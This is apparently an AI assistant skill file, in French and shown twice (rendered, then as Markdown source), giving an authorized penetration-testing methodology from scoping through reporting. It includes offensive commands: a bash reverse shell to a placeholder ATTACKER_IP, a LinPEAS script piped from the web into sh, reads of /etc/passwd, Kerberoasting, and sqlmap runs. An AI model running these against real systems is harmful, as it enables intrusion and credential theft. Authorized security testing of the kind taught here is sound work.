Pentest Assistant
Étape 0 — Cadrage obligatoire avant tout test
Avant d'écrire la première commande :
| Élément |
Questions à trancher |
| Type de test |
Blackbox / Greybox / Whitebox ? |
| Périmètre |
Domaines, IPs, CIDR inclus et exclus (par écrit) |
| Actions interdites |
DoS, dump de données prod, création de comptes, pivoting hors scope |
| Plages horaires |
Heures autorisées pour les scans intrusifs |
| Contact urgence |
Qui appeler si un système tombe ? |
| Autorisation écrite |
Letter of Engagement / NDA signé — sine qua non légalement |
Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.
Étape 1 — Reconnaissance passive (OSINT, zero interaction)
Objectif : cartographier la surface d'attaque sans toucher la cible.
# Sous-domaines via Certificate Transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u
# ASN + blocs IP d'une organisation
amass intel -org "Example Corp" -asn 12345
# Emails + domaines avec theHarvester
theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out
# Recherche Shodan (sans scan actif)
shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data
Checklist OSINT :
Étape 2 — Reconnaissance active (interaction directe)
# Scan complet — ports + services + scripts NSE + OS
nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full
# Découverte rapide des hôtes actifs sur un réseau
nmap -sn 10.0.0.0/24 -oG alive_hosts.txt
# Énumération web — répertoires et fichiers
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 40
# Sous-domaines actifs (brute-force DNS)
ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
Fichiers sensibles à chercher systématiquement :
.git/config, .env, config.php.bak, backup.zip, api_keys.json
/actuator/env, /api/swagger.json, /.well-known/security.txt
- Panneau d'admin exposé :
/admin, /phpmyadmin, /wp-admin, /_admin
Étape 3 — Identification des vulnérabilités
Scan automatisé
# Nuclei — templates CVE + misconfigurations + exposures
nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt
# Nikto — scan web rapide
nikto -h https://example.com -output nikto_out.txt
# WPScan (si WordPress)
wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN
Analyse manuelle prioritaire
Web Application (OWASP Top 10 2021) :
- A01 Broken Access Control → tester IDOR sur IDs, changement de rôle via JWT, accès direct à URL admin
- A02 Cryptographic Failures → HTTPS downgrade, cookies sans Secure/HttpOnly, secrets en clair dans JS
- A03 Injection → SQLi (manual + SQLMap), SSTI, LDAP injection, SSRF
- A07 Auth & Session → force brute, reset token prévisible, session non invalidée après logout
Infrastructure :
- Services avec credentials par défaut (Shodan Dork :
default password product:redis)
- Ports d'admin exposés à internet (RDP 3389, Kibana 5601, Jupyter 8888)
- Certificats expirés ou self-signed sur production
Active Directory :
- Kerberoasting :
impacket-GetUserSPNs domain/user:pass@dc -request -outputfile spns.txt
- ASREPRoasting :
impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat
- BloodHound pour cartographier les chemins vers Domain Admin
Étape 4 — Exploitation contrôlée
Règle d'or : documenter AVANT, PENDANT et APRÈS chaque action.
# Exemple SQLi — extraction de version DB (preuve d'impact minimal)
sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1
# Reverse shell minimal pour démonstration (si scope autorisé)
# Sur attaquant : nc -lvnp 4444
# Payload bash : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Vérifier les permissions Linux post-accès
id && whoami && sudo -l && cat /etc/passwd | grep -v nologin
# Enumération rapide post-accès Windows
whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Template de documentation par finding :
Finding #N — [Titre court]
Date/heure : 2026-06-24 14:32 UTC
URL/IP ciblée : https://example.com/api/users/42
Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)
Réponse obtenue : 200 OK + données PII utilisateur ID 1
Preuve : screenshot_finding_N.png
Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impact : accès à toutes les données utilisateurs sans autorisation
Étape 5 — Post-exploitation et évaluation d'impact
Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.
Évaluer :
- Pivoting possible vers d'autres segments réseau (routes, ARP cache,
/proc/net/fib_trie)
- Données accessibles : PII, données financières, secrets d'API, dumps DB
- Impact RGPD / NIS2 : si données personnelles exfiltrables → obligation de notification sous 72h
- Scénario pire cas : que peut faire un attaquant réel avec cet accès ?
# LinPEAS — enumération privilege escalation Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt
# WinPEAS — Windows
.\winPEAS.exe quiet | Out-File winpeas_out.txt
Étape 6 — Rapport de pentest
Structure minimale :
1. Executive Summary (1 page, non technique)
- Niveau de risque global : Critique / Élevé / Moyen / Faible
- Nb findings par sévérité
- Top 3 findings avec impact business en 1 phrase chacun
2. Findings (1 section par vulnérabilité)
- Titre + sévérité CVSS 3.1
- Description + preuve (screenshot/log)
- Impact démontré
- Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)
3. Matrice de risque
4. Annexes : logs bruts, requêtes HTTP complètes, code PoC
Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.
Garde-fous — Anti-patterns et pièges fréquents
| Piège |
Conséquence |
Bonne pratique |
| Scanner hors scope (IP voisine) |
Délit pénal + rupture de contrat |
Toujours valider le CIDR exact avant scan |
| Lancer un DoS "pour tester" |
Indisponibilité prod, pénalités |
Explicitement interdit sauf accord écrit spécifique |
| Implémenter la persistence sur prod |
Incident de sécurité réel |
Documenter la possibilité, ne pas exécuter |
| Oublier de nettoyer les artefacts |
Web shell actif = incident ouvert |
Checklist de nettoyage post-test obligatoire |
| Stocker les credentials trouvés en clair |
Fuite potentielle |
Vault chiffré (KeePass, Bitwarden) + destruction après rapport |
| Travailler sans VPN dédié |
Attribution de l'IP personnelle |
Toujours passer par un pivot/VPN propre au pentest |
| Rapport sans remédiation actionnable |
Client ne sait pas quoi faire |
Chaque finding = correctif concret + délai suggéré |
Référentiel et cadre légal (2026)
- Méthodologie : PTES (Penetration Testing Execution Standard), OWASP Testing Guide v4.2, NIST SP 800-115
- Classification : CVSS 3.1 pour la sévérité, OWASP Risk Rating pour l'impact business
- Légal FR/EU : art. 323-1 Code pénal (accès frauduleux), NIS2 (directive 2022/2555), RGPD art. 32-33
- Bug bounty : lire les règles HackerOne / Bugcrowd / Intigriti avant tout test ; safe harbor ≠ carte blanche
- Outils recommandés 2026 : Nuclei v3+, Caido (alternative Burp), Sliver C2 (red team), Semgrep (SAST), Prowler v4 (cloud)
1---2name: pentest-assistant3description: Guide méthodologique pour tests d'intrusion et évaluation de sécurité. À utiliser pour préparer ou conduire un pentest. Se déclenche avec "pentest", "test d'intrusion", "test de pénétration", "hacking éthique", "red team", "bug bounty", "surface d'attaque". Also triggers on "penetration test", "pentest methodology", "authorized security testing".4---56# Pentest Assistant78## Étape 0 — Cadrage obligatoire avant tout test910Avant d'écrire la première commande :1112| Élément | Questions à trancher |13|---|---|14| Type de test | Blackbox / Greybox / Whitebox ? |15| Périmètre | Domaines, IPs, CIDR inclus **et** exclus (par écrit) |16| Actions interdites | DoS, dump de données prod, création de comptes, pivoting hors scope |17| Plages horaires | Heures autorisées pour les scans intrusifs |18| Contact urgence | Qui appeler si un système tombe ? |19| Autorisation écrite | Letter of Engagement / NDA signé — **sine qua non légalement** |2021> Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.2223---2425## Étape 1 — Reconnaissance passive (OSINT, zero interaction)2627**Objectif** : cartographier la surface d'attaque sans toucher la cible.2829```bash30# Sous-domaines via Certificate Transparency31curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u3233# ASN + blocs IP d'une organisation34amass intel -org "Example Corp" -asn 123453536# Emails + domaines avec theHarvester37theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out3839# Recherche Shodan (sans scan actif)40shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data41```4243Checklist OSINT :44- [ ] DNS passif (dnsdumpster, SecurityTrails, Passive DNS)45- [ ] Certificate Transparency (crt.sh, Censys)46- [ ] GitHub / GitLab public (dorks : `org:example filename:.env`, `password site:github.com example.com`)47- [ ] LinkedIn : stack technique, noms d'outils internes, noms d'employés48- [ ] Have I Been Pwned : credential leaks49- [ ] Wayback Machine : endpoints anciens, paramètres exposés5051---5253## Étape 2 — Reconnaissance active (interaction directe)5455```bash56# Scan complet — ports + services + scripts NSE + OS57nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full5859# Découverte rapide des hôtes actifs sur un réseau60nmap -sn 10.0.0.0/24 -oG alive_hosts.txt6162# Énumération web — répertoires et fichiers63feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 406465# Sous-domaines actifs (brute-force DNS)66ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,30267```6869Fichiers sensibles à chercher systématiquement :70- `.git/config`, `.env`, `config.php.bak`, `backup.zip`, `api_keys.json`71- `/actuator/env`, `/api/swagger.json`, `/.well-known/security.txt`72- Panneau d'admin exposé : `/admin`, `/phpmyadmin`, `/wp-admin`, `/_admin`7374---7576## Étape 3 — Identification des vulnérabilités7778### Scan automatisé7980```bash81# Nuclei — templates CVE + misconfigurations + exposures82nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt8384# Nikto — scan web rapide85nikto -h https://example.com -output nikto_out.txt8687# WPScan (si WordPress)88wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN89```9091### Analyse manuelle prioritaire9293**Web Application** (OWASP Top 10 2021) :94- A01 Broken Access Control → tester IDOR sur IDs, changement de rôle via JWT, accès direct à URL admin95- A02 Cryptographic Failures → HTTPS downgrade, cookies sans Secure/HttpOnly, secrets en clair dans JS96- A03 Injection → SQLi (manual + SQLMap), SSTI, LDAP injection, SSRF97- A07 Auth & Session → force brute, reset token prévisible, session non invalidée après logout9899**Infrastructure** :100- Services avec credentials par défaut (Shodan Dork : `default password product:redis`)101- Ports d'admin exposés à internet (RDP 3389, Kibana 5601, Jupyter 8888)102- Certificats expirés ou self-signed sur production103104**Active Directory** :105- Kerberoasting : `impacket-GetUserSPNs domain/user:pass@dc -request -outputfile spns.txt`106- ASREPRoasting : `impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat`107- BloodHound pour cartographier les chemins vers Domain Admin108109---110111## Étape 4 — Exploitation contrôlée112113**Règle d'or** : documenter AVANT, PENDANT et APRÈS chaque action.114115```bash116# Exemple SQLi — extraction de version DB (preuve d'impact minimal)117sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1118119# Reverse shell minimal pour démonstration (si scope autorisé)120# Sur attaquant : nc -lvnp 4444121# Payload bash : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1122123# Vérifier les permissions Linux post-accès124id && whoami && sudo -l && cat /etc/passwd | grep -v nologin125126# Enumération rapide post-accès Windows127whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"128```129130Template de documentation par finding :131132```133Finding #N — [Titre court]134Date/heure : 2026-06-24 14:32 UTC135URL/IP ciblée : https://example.com/api/users/42136Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)137Réponse obtenue : 200 OK + données PII utilisateur ID 1138Preuve : screenshot_finding_N.png139Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N140Impact : accès à toutes les données utilisateurs sans autorisation141```142143---144145## Étape 5 — Post-exploitation et évaluation d'impact146147Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.148149Évaluer :150- Pivoting possible vers d'autres segments réseau (routes, ARP cache, `/proc/net/fib_trie`)151- Données accessibles : PII, données financières, secrets d'API, dumps DB152- Impact RGPD / NIS2 : si données personnelles exfiltrables → obligation de notification sous 72h153- Scénario pire cas : que peut faire un attaquant réel avec cet accès ?154155```bash156# LinPEAS — enumération privilege escalation Linux157curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt158159# WinPEAS — Windows160.\winPEAS.exe quiet | Out-File winpeas_out.txt161```162163---164165## Étape 6 — Rapport de pentest166167Structure minimale :168169```1701. Executive Summary (1 page, non technique)171 - Niveau de risque global : Critique / Élevé / Moyen / Faible172 - Nb findings par sévérité173 - Top 3 findings avec impact business en 1 phrase chacun1741752. Findings (1 section par vulnérabilité)176 - Titre + sévérité CVSS 3.1177 - Description + preuve (screenshot/log)178 - Impact démontré179 - Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)1801813. Matrice de risque1824. Annexes : logs bruts, requêtes HTTP complètes, code PoC183```184185Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.186187---188189## Garde-fous — Anti-patterns et pièges fréquents190191| Piège | Conséquence | Bonne pratique |192|---|---|---|193| Scanner hors scope (IP voisine) | Délit pénal + rupture de contrat | Toujours valider le CIDR exact avant scan |194| Lancer un DoS "pour tester" | Indisponibilité prod, pénalités | Explicitement interdit sauf accord écrit spécifique |195| Implémenter la persistence sur prod | Incident de sécurité réel | Documenter la possibilité, ne pas exécuter |196| Oublier de nettoyer les artefacts | Web shell actif = incident ouvert | Checklist de nettoyage post-test obligatoire |197| Stocker les credentials trouvés en clair | Fuite potentielle | Vault chiffré (KeePass, Bitwarden) + destruction après rapport |198| Travailler sans VPN dédié | Attribution de l'IP personnelle | Toujours passer par un pivot/VPN propre au pentest |199| Rapport sans remédiation actionnable | Client ne sait pas quoi faire | Chaque finding = correctif concret + délai suggéré |200201---202203## Référentiel et cadre légal (2026)204205- **Méthodologie** : PTES (Penetration Testing Execution Standard), OWASP Testing Guide v4.2, NIST SP 800-115206- **Classification** : CVSS 3.1 pour la sévérité, OWASP Risk Rating pour l'impact business207- **Légal FR/EU** : art. 323-1 Code pénal (accès frauduleux), NIS2 (directive 2022/2555), RGPD art. 32-33208- **Bug bounty** : lire les règles HackerOne / Bugcrowd / Intigriti avant tout test ; safe harbor ≠ carte blanche209- **Outils recommandés 2026** : Nuclei v3+, Caido (alternative Burp), Sliver C2 (red team), Semgrep (SAST), Prowler v4 (cloud)